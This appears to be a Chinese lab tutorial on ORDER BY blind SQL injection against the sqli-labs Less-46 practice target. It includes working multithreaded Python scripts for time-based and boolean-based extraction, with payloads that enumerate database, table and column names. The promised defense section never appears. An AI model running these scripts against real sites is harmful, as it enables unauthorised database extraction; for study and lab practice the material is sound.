当前位置: 首页 > news >正文

ORDER BY盲注攻击:原理、实现与防御(附Python多线程爆破脚本)

引言

在SQL注入攻击中,`ORDER BY`注入是一种容易被忽视但危害极大的漏洞类型。与传统的`UNION`或`WHERE`注入不同,`ORDER BY`参数通常无法直接返回查询结果,攻击者需要依赖**盲注(Blind SQLi)**技术逐字符提取数据。本文将结合一段Python多线程注入脚本,深入解析这一攻击的实现原理。

一、漏洞背景:ORDER BY注入的原理

ORDER BY子句用于对查询结果排序,其参数通常为列名或列序号。当后端未对用户输入的排序参数(如sort=1)进行过滤时,攻击者可构造恶意Payload,利用时间盲注(Time-Based Blind)逐步泄露数据。

漏洞示例URL:

url = 'http://127.0.0.1/sqlilabs/Less-46/index.php'

参数sort存在注入点,例如:

http://127.0.0.1/sqlilabs/Less-46/index.php?sort=1

二、攻击脚本解析

完整代码附上:

import requests
import time
import concurrent.futures

def get_char_at_position(url, position):
    low, high = 32, 128
    while low < high:
        mid = (low + high) // 2
        payload = f"if((ascii(substr(database(),{position},1))>{mid}),sleep(1),1)" #暴数据库名
        #暴表名#多行改limit截取
        # payload = f"if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{position},1))>{mid},sleep(1),1)"
        #暴列名
        # payload = f"if(ascii(substr((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'emails' LIMIT 1),{position},1))>{mid},sleep(1),1)"
        params = {"sort": payload}
        start_time = time.time()
        try:
            r = requests.get(url, params=params, timeout=20)
        except requests.Timeout:
            return position, None
        end_time = time.time()
        if end_time - start_time >= 1:
            low = mid + 1
        else:
            high = mid
    return position, chr(low) if low >= 32 else None

def inject_database_multithread(url):
    name = [''] * 20  # 假设最大长度 20
    with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
        futures = {executor.submit(get_char_at_position, url, i): i for i in range(1, 21)}
        for future in concurrent.futures.as_completed(futures):
            pos, char = future.result()
            if char:
                name[pos-1] = char
                print(f"Progress: {''.join(name)}")
    return ''.join(name).strip('\x00')

if __name__ == "__main__":
    url = 'http://127.0.0.1/sqlilabs/Less-46/index.php'
    database_name = inject_database_multithread(url)
    print("Database name:", database_name)

 核心代码分析

1. 二分法逐字符爆破(`get_char_at_position`函数)

def get_char_at_position(url, position):
    low, high = 32, 128  # ASCII可打印字符范围
    while low < high:
        mid = (low + high) // 2
        # 构造Payload,根据字符ASCII值二分判断
        payload = f"if(ascii(substr((SELECT ... LIMIT 1),{position},1))>{mid},sleep(1),1)"
        params = {"sort": payload}
        # 发送请求并测量响应时间
        start_time = time.time()
        r = requests.get(url, params=params, timeout=20)
        elapsed = time.time() - start_time
        # 根据是否触发sleep(1)调整二分区间
        if elapsed >= 1:
            low = mid + 1
        else:
            high = mid
    return chr(low)

二分查找:将字符ASCII值范围(32-128)不断二分,通过响应时间判断字符的真实值。
时间盲注:利用`if(condition, sleep(1), 1)`,若条件为真则延迟1秒。

2. 多线程加速(`inject_database_multithread`函数)

with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
    futures = {executor.submit(get_char_at_position, url, i): i for i in range(1, 21)}

使用线程池并发爆破不同位置的字符,理论上速度提升**N倍**(N为线程数)。

3. 切换Payload目标

# 爆破数据库名
payload = f"if((ascii(substr(database(),{position},1))>{mid}),sleep(1),1)"

# 爆破security库的表名(需修改LIMIT)
payload = f"if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{position},1))>{mid},sleep(1),1)"

# 爆破emails表的列名
payload = f"if(ascii(substr((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'emails' LIMIT 1),{position},1))>{mid},sleep(1),1)"


通过修改`LIMIT`偏移遍历所有表或列。

 三、攻击效果演示

运行脚本后,输出如下:

四、布尔盲注

代码与时间盲注类似,仅需要改掉二分法的判断,如下:

import requests
from urllib.parse import urlencode
from bs4 import BeautifulSoup
url1="http://127.0.0.1/sqli-labs/Less-46/index.php"
def orderby_inject_database(url1):
    name = ''
    for i in range(1, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)
            res = {"sort": payload}
            r = requests.get(url1, params=res)
            # if 'You are in...........' in r.text:
            html = r.text
            soup = BeautifulSoup(html,'html.parser')
            getUsername = soup.find_all('td')[1].text
            if getUsername == "admin3":
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
orderby_inject_database(url1)
 
 

五、其他攻击方式

参考文章:SQL-Labs靶场“46-50”关通关教程_sqli-labs50-CSDN博客

相关文章:

  • Spring Boot 3 集成Xxl-job 3.0.0 单机
  • 【算法】动态规划专题⑪ —— 区间DP python
  • 【MySQL】 基本查询(上)
  • USB2.03.0摄像头区分UVC相机在linux中的常用命令
  • 数据库数据同步解决方案
  • deepseek部署在本地详细教程
  • 封装neo4j的持久层和服务层
  • MATLAB中的APPdesigner绘制多图问题解析?与逻辑值转成十进制
  • harmonyOS的文件的增、删、读、写相关操作(fs/content)
  • 从入门到精通:解锁页面对象模型(POM)的秘密武器
  • C++(dereference)取值符和(address-of)取址符的翻译说明
  • MATLAB图像处理:Sobel、Roberts、Canny等边缘检测算子
  • 单调队列与栈
  • 如何取消WPS Excel文件密码
  • 2.14学习总结
  • 【论文阅读】Revisiting the Assumption of Latent Separability for Backdoor Defenses
  • 用 Python 实现 DeepSeek R1 本地化部署
  • Prompt 工程优化方
  • 一区IEEE Trans|特征模态分解FMD,一维数据分解新方法-matlab免费代码
  • 自有证书的rancher集群使用rke部署k8s集群异常
  • 现在装宽带要多少钱/搜索引擎优化的英文缩写是什么
  • 网站加速打开/百度竞价推广